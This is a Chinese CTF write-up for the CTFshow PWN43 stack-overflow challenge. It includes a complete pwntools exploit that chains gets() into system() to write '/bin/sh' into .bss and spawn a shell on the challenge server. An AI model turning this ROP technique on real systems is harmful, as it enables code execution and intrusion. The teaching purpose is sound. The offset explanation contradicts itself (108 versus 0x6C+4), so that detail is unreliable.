CTFshow PWN43实战:无/bin/sh时的栈溢出攻击艺术
在CTF竞赛的二进制漏洞利用(PWN)领域,遇到有system函数但缺少/bin/sh字符串的情况堪称经典考题。这类题目不仅考察选手对栈溢出基本原理的掌握,更考验灵活运用程序已有资源的能力。本文将深入剖析如何在没有现成/bin/sh的情况下,通过gets函数实现内存写入并最终getshell的全过程。
1. 漏洞环境与初步分析
首先我们需要明确目标程序的基本情况。这是一个32位ELF可执行文件,使用checksec工具检查保护机制时会发现通常只开启了NX(不可执行栈),这正是栈溢出利用的理想场景。
使用IDA Pro进行静态分析,可以快速定位到关键函数ctfshow()。该函数定义了一个长度为104的字符数组s,并通过不安全的gets()函数读取输入。由于gets()不进行长度检查,经典的栈溢出漏洞就此形成。
char s[104]; gets(s); // 危险函数调用通过逆向工程,我们确认了以下关键信息:
- system()函数地址:0x8048450
- gets()函数地址:0x8048420
- 程序中不存在现成的"/bin/sh"字符串
关键挑战:如何在没有现成shell字符串的情况下,构造出有效的system("/bin/sh")调用?
2. 内存布局与可写区域定位
在缺乏现成字符串的情况下,我们需要找到可写入内存的区域来存放自定义的"/bin/sh"字符串。使用GDB调试是解决这一问题的标准方法:
gdb ./pwn break main run vmmapvmmap命令输出的关键信息如下:
| 内存范围 | 权限 | 大小 | 描述 |
|---|---|---|---|
| 0x804b000-0x804c000 | rw-p | 0x1000 | .bss段(可读写) |
在.bss段中,我们发现了一个名为buf2的全局变量,地址为0x804B060。这个地址将成为我们写入"/bin/sh"的理想位置。
提示:选择.bss段而非栈空间的原因是其地址固定且不受ASLR影响(在本题环境下)
3. 攻击链设计与ROP构造
有了可写内存地址和必要函数地址,接下来需要精心设计攻击链。核心思路分为三步:
- 覆盖返回地址跳转到gets()函数
- 通过gets()向buf2写入"/bin/sh"
- 返回到system()执行shell命令
具体payload结构如下:
[填充数据][gets地址][system地址][gets返回地址][gets参数]用pwntools实现的完整exp如下:
from pwn import * context(arch='i386', os='linux') p = remote('pwn.challenge.ctf.show', 28227) offset = 0x6C + 4 # 填充到返回地址的偏移 system = 0x8048450 buf2 = 0x804B060 gets = 0x8048420 payload = flat( b'A'*offset, gets, # 覆盖返回地址为gets system, # gets返回后跳转到system buf2, # gets的参数:写入地址 buf2 # system的参数:"/bin/sh"地址 ) p.sendline(payload) p.sendline(b'/bin/sh\x00') # 实际写入的内容 p.interactive()4. 关键细节与实战技巧
4.1 偏移量计算
确定正确的偏移量是栈溢出成功的前提。在本例中,通过IDA可以清晰看到变量s到返回地址的距离:
- char s[104]:占用104字节
- EBP保存:4字节
- 返回地址:从第108(0x6C)字节开始
因此偏移量为108字节(0x6C + 4)。
4.2 参数传递约定
32位程序使用栈传递参数,遵循从右向左的压栈顺序。函数返回后,调用者负责平衡栈指针。理解这一点对构造ROP链至关重要:
gets()调用时:
- 返回地址:system地址
- 参数:buf2地址(写入位置)
system()调用时:
- 参数:buf2地址(已写入"/bin/sh")
4.3 实际调试技巧
遇到攻击失败时,GDB调试是关键。建议在关键位置设置断点:
break *0x80484A3 # gets调用前 break *0x80484A8 # gets返回后 x/20wx $esp # 检查栈布局 x/s 0x804B060 # 验证字符串写入5. 防御措施与变种挑战
了解攻击方法后,我们也要思考防御策略。现代系统常见的防护手段包括:
- ASLR(地址空间随机化)
- Stack Canary(栈保护)
- RELRO(重定位只读)
- PIE(位置无关可执行文件)
在更复杂的题目中,可能会遇到以下变种:
- 只有write/read等函数可用
- 需要先泄漏libc地址
- 存在字符过滤限制
这类题目往往需要结合多种技术,如ROP链构造、内存泄漏、字符串拼接等。掌握基础栈溢出技术是应对这些挑战的必要前提。
在实战中,我习惯先用cyclic pattern确定精确偏移,然后逐步构建攻击链。遇到问题时,耐心分析每一处内存变化和寄存器状态,往往能发现被忽略的关键细节。